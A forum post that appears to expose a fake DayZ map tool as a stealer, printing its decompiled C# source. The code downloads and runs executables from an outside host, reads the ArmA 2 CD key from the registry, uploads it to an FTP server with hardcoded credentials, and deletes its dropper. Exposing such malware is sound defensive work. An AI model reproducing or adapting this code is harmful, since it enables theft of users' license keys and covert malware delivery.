Its a stealer:
Code:
private void Form1_Load(object sender, EventArgs e)
{
((Control) MyProject.Forms.Form3).Show();
MyProject.Computer.Network.DownloadFile("http://day8alone.ohost.de/DAYZMAP.exe", MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe", Conversions.ToString(false), Conversions.ToString(500));
((Control) MyProject.Forms.Form2).Show();
MyProject.Computer.Network.DownloadFile("http://day8alone.ohost.de/DELIF.exe", MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DELIF.exe", Conversions.ToString(false), Conversions.ToString(500));
Interaction.Shell(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe", AppWinStyle.MinimizedFocus, false, -1);
this.Timer1.Enabled = true;
}
DAYZMAP.exe:
Code:
private void Form1_Load(object sender, EventArgs e)
{
string data = "";
Array array = (Array) MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Bohemia Interactive Studio\\ArmA 2 OA", "KEY", (object) null);
try
{
foreach (object obj in array)
{
byte Number = Conversions.ToByte(obj);
data = data + Conversion.Hex(Number);
}
}
finally
{
IEnumerator enumerator;
if (enumerator is IDisposable)
(enumerator as IDisposable).Dispose();
}
new WebClient()
{
Credentials = ((ICredentials) new NetworkCredential("ftp1916120", "neuespassword123"))
}.UploadString("ftp://ftp-web.ohost.de/" + MyProject.Computer.Name + ".txt", data);
Interaction.Shell(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DELIF.exe", AppWinStyle.MinimizedFocus, false, -1);
ProjectData.EndApp();
}
DELIF.exe:
Code:
private void DELIF_Load(object sender, EventArgs e)
{
Thread.Sleep(2000);
if (MyProject.Computer.FileSystem.FileExists(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe"))
MyProject.Computer.FileSystem.DeleteFile(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe");
else
ProjectData.EndApp();
if (MyProject.Computer.FileSystem.FileExists(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe"))
MyProject.Computer.FileSystem.DeleteFile(MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\DAYZMAP.exe");
else
ProjectData.EndApp();
}